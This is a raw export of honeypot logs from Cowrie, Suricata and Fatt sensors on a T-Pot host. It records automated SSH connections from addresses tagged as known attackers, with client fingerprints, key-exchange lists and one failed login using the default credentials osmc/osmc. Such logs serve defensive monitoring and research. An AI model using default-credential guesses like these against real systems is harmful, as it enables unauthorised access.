"ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "db4d5d8ba232", "@version": "1", "timestamp": "2021-09-20T11:10:46.295424Z", "@timestamp": "2021-09-20T11:10:46.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25755	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:46.427622+03	2021-09-20 14:15:12.396644+03	{"_id": "lAbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b14e47526fa5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:46.427622Z", "@timestamp": "2021-09-20T11:10:46.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25756	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:46.498633+03	2021-09-20 14:15:12.397644+03	{"_id": "lQbmAnwBvYTbRNuEthxR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b14e47526fa5", "@version": "1", "timestamp": "2021-09-20T11:10:46.498633Z", "@timestamp": "2021-09-20T11:10:46.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25757	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:46.498115+03	2021-09-20 14:15:12.398646+03	{"_id": "lwbmAnwBvYTbRNuEtxyQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 380119306041640, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55272, "dest_port": 22, "timestamp": "2021-09-20T11:10:46.498115Z", "@timestamp": "2021-09-20T11:10:46.498Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25768	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:48.686399+03	2021-09-20 14:15:12.411646+03	{"_id": "zAbmAnwBvYTbRNuEwRwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:48208 (192.168.176.2:22) [session: e25091ee4922]", "session": "e25091ee4922", "@version": "1", "protocol": "ssh", "src_port": 48208, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.686399Z", "@timestamp": "2021-09-20T11:10:48.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25758	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:46.24838+03	2021-09-20 14:15:12.399646+03	{"_id": "mwbmAnwBvYTbRNuEuByq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7149, "timestamp": "2021-09-20T11:10:46.248380", "@timestamp": "2021-09-20T11:10:46.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25759	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:46.498321+03	2021-09-20 14:15:12.400645+03	{"_id": "nAbmAnwBvYTbRNuEuByq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55272, "timestamp": "2021-09-20T11:10:46.498321", "@timestamp": "2021-09-20T11:10:46.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25760	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:47.521661+03	2021-09-20 14:15:12.402646+03	{"_id": "sgbmAnwBvYTbRNuEvRwj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [osmc/osmc] failed", "session": "db4d5d8ba232", "@version": "1", "password": "osmc", "username": "osmc", "timestamp": "2021-09-20T11:10:47.521661Z", "@timestamp": "2021-09-20T11:10:47.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25761	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:48.294177+03	2021-09-20 14:15:12.403644+03	{"_id": "swbmAnwBvYTbRNuEvRwj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8e5aded853ca", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:48.294177Z", "@timestamp": "2021-09-20T11:10:48.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25762	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:10:48.468262+03	2021-09-20 14:15:12.404646+03	{"_id": "vwbmAnwBvYTbRNuEvxxg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1148570559832935, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7394, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.468262Z", "@timestamp": "2021-09-20T11:10:48.468Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25763	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:10:48.490191+03	2021-09-20 14:15:12.405646+03	{"_id": "xAbmAnwBvYTbRNuEwBx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7394, "dest_port": 22, "timestamp": "2021-09-20T11:10:48.490191", "@timestamp": "2021-09-20T11:10:48.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25764	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:48.574595+03	2021-09-20 14:15:12.407646+03	{"_id": "yAbmAnwBvYTbRNuEwBx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41782, "timestamp": "2021-09-20T11:10:48.574595", "@timestamp": "2021-09-20T11:10:48.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25765	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:48.962406+03	2021-09-20 14:15:12.408645+03	{"_id": "yQbmAnwBvYTbRNuEwBx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48208, "timestamp": "2021-09-20T11:10:48.962406", "@timestamp": "2021-09-20T11:10:48.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
